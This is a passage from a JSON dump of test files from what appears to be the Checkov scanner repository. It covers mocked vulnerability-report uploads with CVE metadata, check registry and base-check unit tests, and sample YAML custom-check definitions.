\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n                        \"description\": \"Expat (aka libexpat) before 2.4.4 has a signed integer overflow in XML_GetBuffer, \"\n                        \"for configurations with a nonzero XML_CONTEXT_BYTES.\",\n                        \"severity\": \"critical\",\n                        \"packageName\": \"expat\",\n                        \"packageVersion\": \"2.2.10-2\",\n                        \"link\": \"https://security-tracker.debian.org/tracker/CVE-2022-23852\",\n                        \"riskFactors\": [\n                            \"Attack complexity: low\",\n                            \"Attack vector: network\",\n                            \"Critical severity\",\n                            \"Has fix\",\n                            \"Recent vulnerability\",\n                        ],\n                        \"impactedVersions\": [\"<2.2.10-2+deb11u1\"],\n                        \"publishedDate\": \"2022-01-24T04:15:00+02:00\",\n                        \"discoveredDate\": \"2022-02-13T11:57:08+02:00\",\n                        \"fixDate\": \"2022-01-24T04:15:00+02:00\",\n                    },\n                ],\n                \"vulnerabilityDistribution\": {\"critical\": 5, \"high\": 5, \"medium\": 0, \"low\": 14, \"total\": 24},\n                \"vulnerabilityScanPassed\": True,\n            }\n        ]\n    }\n"
  },
  {
    "path": "tests/common/bridgecrew/vulnerability_scanning/integrations/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/bridgecrew/vulnerability_scanning/integrations/test_docker_image_scanning.py",
    "content": "import os\nfrom pathlib import Path\nfrom unittest import mock\n\nimport pytest\nfrom aioresponses import aioresponses\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.vulnerability_scanning.image_scanner import ImageScanner, CHECKOV_SEC_IN_WEEK\nfrom checkov.common.bridgecrew.vulnerability_scanning.integrations.docker_image_scanning import (\n    docker_image_scanning_integration,\n)\n\n\ndef get_report_url() -> str:\n    base_url = \"https://www.bridgecrew.cloud/api/v1/vulnerabilities\"\n    return f\"{base_url}/results\"\n\n\n@pytest.mark.asyncio\nasync def test_report_results(mocker: MockerFixture, mock_bc_integration, docker_image_scan_result):\n    # given\n    bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    report_url = get_report_url()\n\n    mocker.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"app\"})\n\n    # when\n    with aioresponses() as m:\n        m.post(report_url, status=200)\n\n        result = await docker_image_scanning_integration.report_results_async(\n            twistcli_scan_result=docker_image_scan_result,\n            bc_platform_integration=mock_bc_integration,\n            bc_api_key=bc_api_key,\n            file_path=Path(\"app/Dockerfile\"),\n            file_content=\"FROM python:3.7-slim\\n\",\n            docker_image_name=\"sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b\",\n        )\n\n    # then\n    assert result == 0\n    assert next(iter(m.requests.values()))[0].kwargs[\"json\"] == {\n        \"dockerImageName\": \"sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b\",\n        \"dockerFilePath\": \"/Dockerfile\",\n        \"dockerFileContent\": \"FROM python:3.7-slim\\n\",\n        \"type\": \"Image\",\n        \"sourceId\": \"bridgecrewio/checkov\",\n        \"branch\": \"master\",\n        \"sourceType\": \"Github\",\n        \"vulnerabilities\": [\n            {\n                \"cveId\": \"CVE-2022-23990\",\n                \"status\": \"fixed in 2.2.10-2+deb11u1\",\n                \"severity\": \"critical\",\n                \"packageName\": \"expat\",\n                \"packageVersion\": \"2.2.10-2\",\n                \"link\": \"https://security-tracker.debian.org/tracker/CVE-2022-23990\",\n                \"cvss\": 9.8,\n                \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n                \"description\": \"Expat (aka libexpat) before 2.4.4 has an integer overflow in the doProlog function.\",\n                \"riskFactors\": [\n                    \"Attack complexity: low\",\n                    \"Attack vector: network\",\n                    \"Critical severity\",\n                    \"Has fix\",\n                    \"Recent vulnerability\",\n                ],\n                \"publishedDate\": \"2022-01-26T21:15:00+02:00\",\n            },\n            {\n                \"cveId\": \"CVE-2022-23852\",\n                \"status\": \"fixed in 2.2.10-2+deb11u1\",\n                \"severity\": \"critical\",\n                \"packageName\": \"expat\",\n                \"packageVersion\": \"2.2.10-2\",\n                \"link\": \"https://security-tracker.debian.org/tracker/CVE-2022-23852\",\n                \"cvss\": 9.8,\n                \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n                \"description\": \"Expat (aka libexpat) before 2.4.4 has a signed integer overflow in XML_GetBuffer, for configurations with a nonzero XML_CONTEXT_BYTES.\",\n                \"riskFactors\": [\n                    \"Attack complexity: low\",\n                    \"Attack vector: network\",\n                    \"Critical severity\",\n                    \"Has fix\",\n                    \"Recent vulnerability\",\n                ],\n                \"publishedDate\": \"2022-01-24T04:15:00+02:00\",\n            },\n        ],\n        \"packages\": [\n            {\"type\": \"os\", \"name\": \"mawk\", \"version\": \"1.3.4.20200120-2\", \"licenses\": [\"GPL-2\"]},\n            {\"type\": \"os\", \"name\": \"gzip\", \"version\": \"1.10-4\", \"licenses\": [\"GPL-3+\"]},\n        ],\n        \"relatedResourceId\": None,\n        \"errorLines\": None\n    }\n\n\n@pytest.mark.asyncio\nasync def test_report_results_with_cicd(mocker: MockerFixture, mock_bc_integration, docker_image_scan_result):\n    # given\n    bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    report_url = get_report_url()\n    cicd_details = {\n        \"runId\": 123,\n        \"pr\": \"patch-1\",\n        \"commit\": \"qwerty1234\",\n    }\n\n    mock_bc_integration.cicd_details = cicd_details\n    mocker.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"app\"})\n\n    # when\n    with aioresponses() as m:\n        m.post(report_url, status=200)\n\n        result = await docker_image_scanning_integration.report_results_async(\n            twistcli_scan_result=docker_image_scan_result,\n            bc_platform_integration=mock_bc_integration,\n            bc_api_key=bc_api_key,\n            file_path=Path(\"app/Dockerfile\"),\n            file_content=\"FROM python:3.7-slim\\n\",\n            docker_image_name=\"sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b\",\n        )\n\n    # then\n    assert result == 0\n    assert next(iter(m.requests.values()))[0].kwargs[\"json\"][\"cicdDetails\"] == cicd_details\n\n\n@pytest.mark.asyncio\nasync def test_report_results_fail(mocker: MockerFixture, mock_bc_integration, docker_image_scan_result):\n    # given\n    bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    report_url = get_report_url()\n\n    mocker.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"app\", \"REQUEST_MAX_TRIES\": \"3\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\n\n    # when\n    with aioresponses() as m:\n        m.post(report_url, status=403, repeat=True)\n\n        result = await docker_image_scanning_integration.report_results_async(\n            twistcli_scan_result=docker_image_scan_result,\n            bc_platform_integration=mock_bc_integration,\n            bc_api_key=bc_api_key,\n            file_path=Path(\"app/Dockerfile\"),\n            file_content=\"FROM python:3.7-slim\\n\",\n            docker_image_name=\"sha256:e70f7611f4d093d5f73026d23f7ab612aa1794abfb210ef1c549b225380d053b\",\n        )\n\n    # then\n    assert result == 1\n\n\ndef test_should_download_new_twistcli(tmp_path: Path):\n    # given\n    scanner = ImageScanner()\n    twistcli_path = tmp_path / \"twistcli\"\n    scanner.twistcli_path = twistcli_path\n\n    # then\n    assert scanner.should_download()\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_EXPIRATION_TIME_IN_SEC\": str(CHECKOV_SEC_IN_WEEK)})\ndef test_not_should_download_twistcli(tmp_path: Path):\n    # given\n    scanner = ImageScanner()\n    twistcli_path = tmp_path / \"twistcli\"\n    twistcli_path.touch()\n    scanner.twistcli_path = twistcli_path\n\n    # then\n    assert not scanner.should_download()\n\n\n@mock.patch.dict(os.environ, {\"CHECKOV_EXPIRATION_TIME_IN_SEC\": \"0\"})\ndef test_should_download_twistcli_again(tmp_path: Path):\n    # given\n    scanner = ImageScanner()\n    twistcli_path = tmp_path / \"twistcli\"\n    twistcli_path.touch()\n    scanner.twistcli_path = twistcli_path\n\n    # then\n    assert scanner.should_download()\n\n\ndef test_cleanup_twistcli_exists(tmp_path: Path):\n    # given\n    scanner = ImageScanner()\n\n    # prepare local paths\n    twistcli_path = tmp_path / \"twistcli\"\n    twistcli_path.touch()\n    scanner.twistcli_path = twistcli_path\n\n    # when\n    scanner.cleanup_scan()\n\n    # then\n    assert not twistcli_path.exists()\n\n\ndef test_cleanup_twistcli_not_exists(tmp_path: Path):\n    # given\n    scanner = ImageScanner()\n\n    # prepare local paths\n    twistcli_path = tmp_path / \"twistcli\"\n    scanner.twistcli_path = twistcli_path\n\n    # when\n    scanner.cleanup_scan()\n\n    # then\n    assert not twistcli_path.exists()\n"
  },
  {
    "path": "tests/common/bridgecrew/vulnerability_scanning/integrations/test_package_scanning.py",
    "content": "import os\nfrom pathlib import Path\n\nimport pytest\nfrom aioresponses import aioresponses\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.vulnerability_scanning.integrations.package_scanning import package_scanning_integration\n\n\ndef get_report_url() -> str:\n    base_url = \"https://www.bridgecrew.cloud/api/v1/vulnerabilities\"\n    return f\"{base_url}/results\"\n\n\n@pytest.mark.asyncio\nasync def test_report_results(mocker: MockerFixture, mock_bc_integration, package_scan_result):\n    # given\n    bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    report_url = get_report_url()\n\n    mocker.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"app\"})\n\n    # when\n    with aioresponses() as m:\n        m.post(report_url, status=200)\n\n        result = await package_scanning_integration.report_results_async(\n            twistcli_scan_result=package_scan_result,\n            bc_platform_integration=mock_bc_integration,\n            bc_api_key=bc_api_key,\n            file_path=Path(\"app/requirements.txt\"),\n        )\n\n    # then\n    assert result == 0\n    assert next(iter(m.requests.values()))[0].kwargs[\"json\"] == {\n        \"packageName\": \"requirements.txt\",\n        \"packageFilePath\": \"/requirements.txt\",\n        \"type\": \"Package\",\n        \"sourceId\": \"bridgecrewio/checkov\",\n        \"branch\": \"master\",\n        \"sourceType\": \"Github\",\n        \"vulnerabilities\": [\n            {\n                \"cveId\": \"CVE-2019-19844\",\n                \"status\": \"fixed in 3.0.1, 2.2.9, 1.11.27\",\n                \"severity\": \"critical\",\n                \"packageName\": \"django\",\n                \"packageVersion\": \"1.2\",\n                \"link\": \"https://nvd.nist.gov/vuln/detail/CVE-2019-19844\",\n                \"cvss\": 9.8,\n                \"vector\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\",\n                \"description\": \"Django before 1.11.27, 2.x before 2.2.9, and 3.x before 3.0.1 allows account takeover.\",\n                \"riskFactors\": [\"Critical severity\", \"Has fix\", \"Attack complexity: low\", \"Attack vector: network\"],\n                \"publishedDate\": \"2019-12-18T20:15:00+01:00\",\n            },\n        ],\n        \"packages\": [\n            {\n                \"type\": \"python\",\n                \"name\": \"django\",\n                \"version\": \"1.2\",\n                \"licenses\": []\n            }\n        ]\n    }\n\n\n@pytest.mark.asyncio\nasync def test_report_results_with_cicd(mocker: MockerFixture, mock_bc_integration, package_scan_result):\n    # given\n    bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    report_url = get_report_url()\n    cicd_details = {\n        \"runId\": 123,\n        \"pr\": \"patch-1\",\n        \"commit\": \"qwerty1234\",\n    }\n\n    mock_bc_integration.cicd_details = cicd_details\n    mocker.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"app\"})\n\n    # when\n    with aioresponses() as m:\n        m.post(report_url, status=200)\n\n        result = await package_scanning_integration.report_results_async(\n            twistcli_scan_result=package_scan_result,\n            bc_platform_integration=mock_bc_integration,\n            bc_api_key=bc_api_key,\n            file_path=Path(\"app/requirements.txt\"),\n        )\n\n    # then\n    assert result == 0\n    assert next(iter(m.requests.values()))[0].kwargs[\"json\"][\"cicdDetails\"] == cicd_details\n\n\n@pytest.mark.asyncio\nasync def test_report_results_fail(mocker: MockerFixture, mock_bc_integration, package_scan_result):\n    # given\n    bc_api_key = \"abcd1234-abcd-1234-abcd-1234abcd1234\"\n    report_url = get_report_url()\n\n    mocker.patch.dict(os.environ, {\"BC_ROOT_DIR\": \"app\", \"REQUEST_MAX_TRIES\": \"3\", \"SLEEP_BETWEEN_REQUEST_TRIES\": \"0.01\"})\n\n    # when\n    with aioresponses() as m:\n        m.post(report_url, status=403, repeat=True)\n\n        result = await package_scanning_integration.report_results_async(\n            twistcli_scan_result=package_scan_result,\n            bc_platform_integration=mock_bc_integration,\n            bc_api_key=bc_api_key,\n            file_path=Path(\"app/requirements.txt\"),\n        )\n\n    # then\n    assert result == 1\n"
  },
  {
    "path": "tests/common/bridgecrew/vulnerability_scanning/test_package_scanner.py",
    "content": ""
  },
  {
    "path": "tests/common/check_assertion_utils.py",
    "content": "from __future__ import annotations\n\nimport unittest\nfrom typing import Union\n\nfrom checkov.common.output.report import Report\n\n\ndef checks_report_assertions(test_case: unittest.TestCase, report: Report,\n                             expected_passing_resources: set[str],\n                             expected_failing_resources: Union[set[str], dict[str, list[str]]],\n                             expected_skipped_resources: set[str] = None) -> None:\n    \"\"\"\n    validates:\n    1. summary field includes correct count of passing / failing / skipped resources\n    2. the resource themselves match the expected resources\n    3. for failing resources, there's an option to send expected as dict, in which case both the resource and the evaluated keys of that check will be validated\n    \"\"\"\n    if expected_skipped_resources is None:\n        expected_skipped_resources = set()\n\n    summary = report.get_summary()\n\n    passed_check_resources = {c.resource for c in report.passed_checks}\n    skipped_check_resources = {c.resource for c in report.skipped_checks}\n\n    if isinstance(expected_failing_resources, dict):\n        failed_check_resources = {c.resource: c.check_result.get(\"evaluated_keys\") for c in report.failed_checks}\n    else:\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n    test_case.assertEqual(summary[\"passed\"], len(expected_passing_resources))\n    test_case.assertEqual(summary[\"failed\"], len(expected_failing_resources))\n    test_case.assertEqual(summary[\"skipped\"], len(expected_skipped_resources))\n    test_case.assertEqual(summary[\"parsing_errors\"], 0)\n\n    test_case.assertEqual(expected_passing_resources, passed_check_resources)\n    test_case.assertEqual(expected_failing_resources, failed_check_resources)\n    test_case.assertEqual(expected_skipped_resources, skipped_check_resources)"
  },
  {
    "path": "tests/common/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/common/checks/extra_checks/S3EnvironmentCheck.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass S3EnvironmentCheck(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure s3 has env tag of development/staging/production\"\n        id = \"CUSTOM_AWS_1\"\n        supported_resources = ['aws_s3_bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"tags\") and isinstance(conf['tags'][0], dict):\n            env = conf[\"tags\"][0].get(\"Environment\",{})\n            if env in [\"Development\",\"Staging\",\"Production\"]:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\nscanner = S3EnvironmentCheck()\n"
  },
  {
    "path": "tests/common/checks/extra_yaml_checks/test_app.yaml",
    "content": "metadata:\n  name: \"Ensure all resources are tagged with the relevant app\"\n  id: \"CUSTOM_GRAPH_AWS_1\"\n  category: \"GENERAL_SECURITY\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"all\"\n  attribute: \"tags.app\"\n  operator: \"exists\""
  },
  {
    "path": "tests/common/checks/test_base_check.py",
    "content": "import os\nimport unittest\nfrom typing import List\n\nfrom unittest import mock\nfrom parameterized import parameterized\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestCheckTypeNotInSignature(BaseCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self):\n        name = \"Example check\"\n        categories = []\n        id = \"CKV_T_1\"\n        supported_entities = [\"module\"]\n        block_type = \"module\"\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities,\n                         block_type=block_type)\n\n    # noinspection PyMethodOverriding\n    def scan_entity_conf(self, conf, entity_type):\n        \"\"\"\n        My documentation\n        :param conf:\n        :return:\n        \"\"\"\n        return CheckResult.PASSED\n\n\nclass TestCheckDetails(BaseCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self, fail_check=False):\n        name = \"Another Example check\"\n        categories = []\n        id = \"CKV_T_2\"\n        supported_entities = [\"my_resource_type\"]\n        block_type = \"resource\"\n        self.fail_check = fail_check\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities,\n                         block_type=block_type)\n\n    # noinspection PyMethodOverriding\n    def scan_entity_conf(self, conf, entity_type):\n        \"\"\"\n        My documentation\n        :param conf:\n        :return:\n        \"\"\"\n        if self.fail_check:\n            raise Exception(\"An error\")\n        if conf.get(\"value\")[0]:\n            self.details.append(\"This check PASSED...\")\n            return CheckResult.PASSED\n        else:\n            self.details.append(\"This check FAILED...\")\n            return CheckResult.FAILED\n\n\ndef _clean_doc(st: str) -> List[str]:\n    return [line.strip() for line in st.splitlines() if not line.isspace()]\n\n\n# noinspection DuplicatedCode\nclass TestBaseCheck(unittest.TestCase):\n\n    def test_entity_type_is_not_required_in_signature(self):\n        registry = BaseCheckRegistry(report_type='')\n        check = TestCheckTypeNotInSignature()\n        registry.register(check)\n\n        # noinspection PyArgumentList\n        scan_result = check.scan_entity_conf({}, \"Some name\")\n        self.assertEqual(CheckResult.PASSED, scan_result)\n        self.assertEqual(_clean_doc(check.scan_entity_conf.__doc__), _clean_doc(\"\"\"\n        My documentation\n        :param conf:\n        :return:\n        \"\"\"))\n\n    def test_invalid_signature_is_detected(self):\n        with self.assertRaises(TypeError) as context:\n            class TestCheckUnknownSignature(BaseCheck):\n\n                def __init__(self):\n                    name = \"Example check\"\n                    categories = []\n                    id = \"CKV_T_1\"\n                    supported_entities = [\"module\"]\n                    block_type = \"module\"\n                    super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities,\n                                     block_type=block_type)\n\n            TestCheckUnknownSignature()\n\n        self.assertIsInstance(context.exception, TypeError)\n        self.assertRegex(context.exception.args[0], r\"Can't instantiate abstract class TestCheckUnknownSignature\")\n\n    def test_details_reinitializing_after_execution(self):\n        check = TestCheckDetails()\n        self.assertEqual(0, len(check.details))\n        result = check.run(\"test.tf\", {\"value\": [\"True\"]}, \"my_resource\", \"resource\", {})\n        self.assertEqual(CheckResult.PASSED, result[\"result\"])\n        self.assertEqual(1, len(check.details))\n        self.assertIn(\"This check PASSED...\", check.details)\n        result = check.run(\"test.tf\", {\"value\": [\"\"]}, \"my_resource_2\", \"resource\", {})\n        self.assertEqual(CheckResult.FAILED, result[\"result\"])\n        self.assertEqual(1, len(check.details))\n        self.assertIn(\"This check FAILED...\", check.details)\n\n    @parameterized.expand([\n        (\"WARNING\",),\n        (\"ERROR\",)\n    ])\n    def test_check_fail_log_level_error(self, log_level):\n        with self.assertLogs(level=log_level) as log, mock.patch.dict(os.environ,\n                                                                      {'CHECKOV_CHECK_FAIL_LEVEL': log_level}, clear=True):\n            check = TestCheckDetails(fail_check=True)\n            self.assertEqual(0, len(check.details))\n            try:\n                check.run(\"test.tf\", {\"value\": [\"True\"]}, \"my_resource\", \"resource\", {})\n            except Exception:\n                self.assertEqual(len(log.output), 1)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/checks/test_base_check_registry.py",
    "content": "import unittest\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\nclass TestCheck(BaseCheck):\n    # for pytest not to collect this class as tests\n    __test__ = False\n\n    def __init__(self, *supported_entities, id=\"CKV_T_1\"):\n        name = \"Example check\"\n        categories = []\n        supported_entities = list(supported_entities)\n        block_type = \"module\"\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities,\n                         block_type=block_type)\n\n    def scan_entity_conf(self, conf, entity_type):\n        pass\n\n\n# noinspection DuplicatedCode\nclass TestRunnerRegistry(unittest.TestCase):\n\n    def test_add_non_wildcard(self):\n        registry = BaseCheckRegistry('')\n        resource_1_check = TestCheck(\"resource_1\")\n        registry.register(resource_1_check)\n        checks = registry.get_checks(\"resource_1\")\n        self.assertEqual(1, len(checks))\n        self.assertEqual(resource_1_check, checks[0])\n\n        self.assertIn(\"resource_1\", registry.checks)\n        self.assertNotIn(\"resource_1\", registry.wildcard_checks)\n\n    def test_add_wildcard(self):\n        registry = BaseCheckRegistry('')\n        resource_s_check = TestCheck(\"resource_*\")\n        registry.register(resource_s_check)\n        checks = registry.get_checks(\"resource_*\")\n        self.assertEqual(1, len(checks))\n        self.assertEqual(resource_s_check, checks[0])\n\n        self.assertNotIn(\"resource_*\", registry.checks)\n        self.assertIn(\"resource_*\", registry.wildcard_checks)\n\n    def test__is_wildcard(self):\n        self.assertFalse(BaseCheckRegistry._is_wildcard(\"\"))\n        self.assertFalse(BaseCheckRegistry._is_wildcard(\"resource\"))\n        self.assertFalse(BaseCheckRegistry._is_wildcard(\"module\"))\n        self.assertFalse(BaseCheckRegistry._is_wildcard(\"aws_s3_bucket\"))\n        self.assertTrue(BaseCheckRegistry._is_wildcard(\"aws_*\"))\n        self.assertTrue(BaseCheckRegistry._is_wildcard(\"*\"))\n        self.assertTrue(BaseCheckRegistry._is_wildcard(\"aws_[^0-9]\"))\n\n    def test_get_check_by_id(self):\n        registry = BaseCheckRegistry('')\n        resource_1_check = TestCheck(\"resource_1\", id=\"CKV_T_1\")\n        resource_2_check = TestCheck(\"resource_2\", id=\"CKV_T_2\")\n        resource_as_check = TestCheck(\"resource_a*\", id=\"CKV_T_3\")\n        resource_bs_check = TestCheck(\"resource_b*\", id=\"CKV_T_4\")\n        registry.register(resource_1_check)\n        registry.register(resource_2_check)\n        registry.register(resource_as_check)\n        registry.register(resource_bs_check)\n\n        self.assertEqual(resource_1_check, registry.get_check_by_id(\"CKV_T_1\"))\n        self.assertEqual(resource_2_check, registry.get_check_by_id(\"CKV_T_2\"))\n        self.assertEqual(resource_as_check, registry.get_check_by_id(\"CKV_T_3\"))\n        self.assertEqual(resource_bs_check, registry.get_check_by_id(\"CKV_T_4\"))\n        self.assertIsNone(registry.get_check_by_id(\"CKV_T_5\"))\n\n    def test_get_check_no_wildcard(self):\n        registry = BaseCheckRegistry('')\n        resource_1_check = TestCheck(\"resource_1\", id=\"CKV_T_1\")\n        resource_2_check1 = TestCheck(\"resource_2\", id=\"CKV_T_2\")\n        resource_2_check2 = TestCheck(\"resource_2\", id=\"CKV_T_3\")\n        registry.register(resource_1_check)\n        registry.register(resource_2_check1)\n        registry.register(resource_2_check2)\n\n        resource_1_checks = registry.get_checks(\"resource_1\")\n        self.assertEqual(1, len(resource_1_checks))\n        self.assertEqual(resource_1_check, resource_1_checks[0])\n\n        resource_2_checks = registry.get_checks(\"resource_2\")\n        self.assertEqual(2, len(resource_2_checks))\n        self.assertIn(resource_2_check1, resource_2_checks)\n        self.assertIn(resource_2_check2, resource_2_checks)\n\n        self.assertEqual(0, len(registry.get_checks(\"resource\")))\n        self.assertEqual(0, len(registry.get_checks(\"resource_10\")))\n\n    def test_get_check_wildcard(self):\n        registry = BaseCheckRegistry('')\n        resource_s_check = TestCheck(\"resource_*\", id=\"CKV_T_1\")\n        resource_as_check = TestCheck(\"resource_a*\", id=\"CKV_T_2\")\n        s_check = TestCheck(\"*\", id=\"CKV_T_3\")\n        s_2_check = TestCheck(\"*_2\", id=\"CKV_T_4\")\n        registry.register(resource_s_check)\n        registry.register(resource_as_check)\n        registry.register(s_check)\n        registry.register(s_2_check)\n\n        resource_1_checks = registry.get_checks(\"resource_1\")\n        self.assertEqual(2, len(resource_1_checks))\n        self.assertIn(s_check, resource_1_checks)\n        self.assertIn(resource_s_check, resource_1_checks)\n\n        resource_2_checks = registry.get_checks(\"resource_2\")\n        self.assertEqual(3, len(resource_2_checks))\n        self.assertIn(s_check, resource_2_checks)\n        self.assertIn(s_2_check, resource_2_checks)\n        self.assertIn(resource_s_check, resource_2_checks)\n\n        resource__checks = registry.get_checks(\"resource_\")\n        self.assertEqual(2, len(resource__checks))\n        self.assertIn(s_check, resource__checks)\n        self.assertIn(resource_s_check, resource__checks)\n\n        resource_abc_checks = registry.get_checks(\"resource_abc\")\n        self.assertEqual(3, len(resource_abc_checks))\n        self.assertIn(s_check, resource_abc_checks)\n        self.assertIn(resource_s_check, resource_abc_checks)\n        self.assertIn(resource_as_check, resource_abc_checks)\n\n        r_checks = registry.get_checks(\"r\")\n        self.assertEqual(1, len(r_checks))\n        self.assertIn(s_check, r_checks)\n\n        resource_checks = registry.get_checks(\"resource\")\n        self.assertEqual(1, len(resource_checks))\n        self.assertIn(s_check, resource_checks)\n\n        resource_checks = registry.get_checks(\"resource_ABC\")\n        self.assertEqual(2, len(resource_checks))\n        self.assertIn(s_check, resource_checks)\n        self.assertIn(resource_s_check, resource_checks)\n\n    def test_get_check_mixed(self):\n        registry = BaseCheckRegistry('')\n        resource_1_check = TestCheck(\"resource_1\", id=\"CKV_T_1\")\n        resource_2_check = TestCheck(\"resource_2\", id=\"CKV_T_2\")\n        resource_s_check = TestCheck(\"resource_*\", id=\"CKV_T_4\")\n        resource_as_check = TestCheck(\"resource_a*\", id=\"CKV_T_3\")\n        s_check = TestCheck(\"*\", id=\"CKV_T_4\")\n        s_2_check = TestCheck(\"*_2\", id=\"CKV_T_5\")\n        registry.register(resource_1_check)\n        registry.register(resource_2_check)\n        registry.register(resource_s_check)\n        registry.register(resource_as_check)\n        registry.register(s_check)\n        registry.register(s_2_check)\n\n        resource_1_checks = registry.get_checks(\"resource_1\")\n        self.assertEqual(3, len(resource_1_checks))\n        self.assertIn(s_check, resource_1_checks)\n        self.assertIn(resource_1_check, resource_1_checks)\n        self.assertIn(resource_s_check, resource_1_checks)\n\n        resource_10_checks = registry.get_checks(\"resource_10\")\n        self.assertEqual(2, len(resource_10_checks))\n        self.assertIn(s_check, resource_10_checks)\n        self.assertIn(resource_s_check, resource_10_checks)\n\n        resource_2_checks = registry.get_checks(\"resource_2\")\n        self.assertEqual(4, len(resource_2_checks))\n        self.assertIn(s_check, resource_2_checks)\n        self.assertIn(s_2_check, resource_2_checks)\n        self.assertIn(resource_2_check, resource_2_checks)\n        self.assertIn(resource_s_check, resource_2_checks)\n\n        resource__checks = registry.get_checks(\"resource_\")\n        self.assertEqual(2, len(resource__checks))\n        self.assertIn(s_check, resource__checks)\n        self.assertIn(resource_s_check, resource__checks)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/checks/test_graph_check_loading.py",
    "content": "import os\nimport unittest\n\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.checks_infra.registry import Registry\nfrom checkov.runner_filter import RunnerFilter\nfrom pathlib import Path\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGraphChecks(unittest.TestCase):\n    def test_internal_graph_checks_load(self):\n        registry = Registry(parser=GraphCheckParser(), checks_dir=str(\n            Path(__file__).parent.parent.parent.parent / \"checkov\" / \"terraform\" / \"checks\" / \"graph_checks\"))\n        registry.load_checks()\n        runner_filter = RunnerFilter()\n        for check in registry.checks:\n            self.assertFalse(runner_filter.is_external_check(check))\n            # The BC ID should not be populated with a CKV2 ID\n            self.assertIsNone(check.bc_id)\n\n    def test_external_graph_check_load(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        runner.graph_registry.checks = []\n        extra_checks_dir_path = [current_dir + \"/extra_yaml_checks\"]\n        runner.load_external_checks(extra_checks_dir_path)\n        self.assertEqual(len(runner.graph_registry.checks), 1)\n        runner_filter = RunnerFilter()\n        for check in runner.graph_registry.checks:\n            self.assertTrue(runner_filter.is_external_check(check.id))\n        runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if \"CUSTOM_GRAPH_AWS_1\" not\n                                           in check.id]\n\n    def test_external_checks_and_graph_checks_load(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        runner_filter = RunnerFilter(framework=['terraform'])\n        external_graph_checks = 0\n\n        # with external yaml checks external graph registry checks count should be equal to the external graph checks\n        extra_checks_dir_path = [current_dir + \"/extra_checks\", current_dir + \"/extra_yaml_checks\"]\n        runner.run(root_folder=current_dir, external_checks_dir=extra_checks_dir_path,\n                   runner_filter=runner_filter)\n        for check in runner.graph_registry.checks:\n            if runner_filter.is_external_check(check.id):\n                external_graph_checks += 1\n        self.assertGreater(len(runner.graph_registry.checks), 1)\n        self.assertGreaterEqual(external_graph_checks, 1)\n        runner.graph_registry.checks[:] = [check for check in runner.graph_registry.checks if\n                                           \"CUSTOM_GRAPH_AWS_1\" not in check.id]\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/common/checks_infra/examples/invalid_definition.yaml",
    "content": "metadata:\n  name: \"Ensure Lambda function runs with Python 3.9\"\n  id: CUSTOM_1\n  category: \"GENERAL_SECURITY\"\ndefinition:\n"
  },
  {
    "path": "tests/common/checks_infra/examples/missing_definition.yaml",
    "content": "metadata:\n  name: \"Ensure Lambda function runs with Python 3.9\"\n  id: CUSTOM_1\n  category: \"GENERAL_SECURITY\"\n"
  },
  {
    "path": "tests/common/checks_infra/examples/missing_metadata.yaml",
    "content": "definition:\n  cond_type: attribute\n  resource_types:\n    - aws_lambda_function\n  attribute: runtime\n  operator: equals\n  value: python3.9\n"
  },
  {
